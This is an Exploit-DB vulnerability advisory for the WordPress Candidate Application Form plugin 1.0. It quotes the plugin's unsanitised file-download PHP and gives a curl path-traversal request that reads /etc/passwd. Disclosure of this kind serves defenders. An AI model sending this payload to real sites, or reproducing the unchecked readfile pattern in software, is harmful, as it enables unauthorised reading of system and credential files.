WordPress Candidate Application Form Plugin 1.0 - Arbitrary File Download

ID EDB-ID:37754
Type exploitdb
Reporter Larry W. Cashdollar
Modified 2015-08-10T00:00:00


WordPress Candidate Application Form Plugin 1.0 - Arbitrary File Download. Webapps exploit for php platform

                                            Title: Remote file download vulnerability in candidate-application-form v1.0 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-12
Download Site: https://wordpress.org/plugins/candidate-application-form
Vendor: https://profiles.wordpress.org/flaxlandsconsulting/
Vendor Notified: 2015-07-12
Vendor Contact:
Description: This plugin allows you to easily add a candidate application form to a job vacancy post, which allows the candidate to apply for the vacancy.
The code in downloadpdffile.php  doesn't do any sanity checks, allowing a remote attacker to download sensitive system files:

  2 $file_name = $_GET["fileName"];
  3 $path = $_GET["fileUrl"];
  4 $fullfile = $path.$file_name;
  5 if (file_exists('../../uploads/candidate_application_form/'.$file_name)) {
  6     header('Pragma: public');   // required
  7     header('Expires: 0');       // no cache
  8     header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  9     header('Last-Modified: '.gmdate ('D, d M Y H:i:s', filemtime ('../../uploads/candidate_application_form/'.$file_    name)).' GMT');
 10     header('Cache-Control: private',false);
 11     header('Content-Type: '.'application/pdf');
 12     header('Content-Disposition: attachment; filename="'.basename('../../uploads/candidate_application_form/'.$file_    name).'"');
 13     header('Content-Transfer-Encoding: binary');
 14     header('Content-Length: '.filesize('../../uploads/candidate_application_form/'.$file_name));    // provide file     size
 15     header('Connection: close');
 16     readfile('../../uploads/candidate_application_form/'.$file_name);     // push it out
 17     exit();
 18 }

Exploit Code:
  • $ curl http://server/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd